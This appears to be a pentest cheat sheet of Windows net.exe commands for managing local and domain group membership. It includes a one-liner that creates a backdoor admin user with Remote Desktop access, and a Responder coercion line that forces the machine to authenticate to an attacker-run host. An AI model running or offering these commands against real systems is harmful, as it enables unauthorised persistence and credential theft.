# 
        net.exe
    
Very helpful in the Windows world for mapping drives, changing local/domain group memberships, and much more!
        # 
        List local administrators on a box
    
net localgroup Administrators
        # 
        Create a new user and add that user to the local admin group
    
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add 
        # 
        Add existing user to the local administrator group
    
net localgroup Administrators john.doe /add
        # 
        Add DOMAIN user to the local admin group
    
net localgroup Administrators "DOMAIN\username" /add
        # 
        Connect to a running instance of Responder to force the local system to start WebClient service
    
net use x: http://IP.THATS.RUNNING.RESPONDER/ /user:doesntmatter passworddoesntmatterSource:thehackerrecipes